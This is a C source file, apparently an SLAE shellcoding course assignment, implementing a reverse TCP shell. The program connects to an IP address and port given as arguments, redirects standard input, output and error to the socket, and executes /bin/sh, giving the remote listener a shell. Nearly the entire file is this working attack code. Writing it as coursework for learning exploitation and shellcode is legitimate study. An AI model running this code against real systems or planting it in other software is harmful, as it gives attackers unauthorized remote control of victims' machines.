#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <error.h>

/*

Id: SLAE -1107

SLAE Intel x86

Basic reverse shell implementation in C.

Assignment #2
Create Shell_Reverse_TCP shellcode
- Reverse connects to configured IP and port
- Execs shell on incoming connection
The IP and port number should be easily configurable

*/

void reverse_shell(char *ip_address, int port)
{
	int s;
	char *sc[] = { "/bin/sh", 0 };
	struct sockaddr_in server;

	s = socket(AF_INET, SOCK_STREAM, 0);

	server.sin_family = AF_INET;
	server.sin_addr.s_addr =  inet_addr(ip_address);
	server.sin_port = htons(port);

	//int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	int conn = connect(s, (struct sockaddr *) &server, sizeof(struct sockaddr_in));
	if (conn == ERROR) {
		printf("[*] could not connect to %s \n", ip_address);
	    	exit(-1);
	}
	dup2(s, 0);
	dup2(s, 1);
	dup2(s, 2);

	execve(sc[0], &sc[0], NULL);
}


int main(int argc, char *argv[])
{
	if (argc < 3)
		printf("Please provide an IP address and port number.\n");

	if (argc == 3) {
		char *ip_address = argv[1];
		int port = atoi(argv[2]);

		printf("[*] connecting to %s on port %d \n", ip_address, port);
		reverse_shell(ip_address, port);
	}
	return 0;
}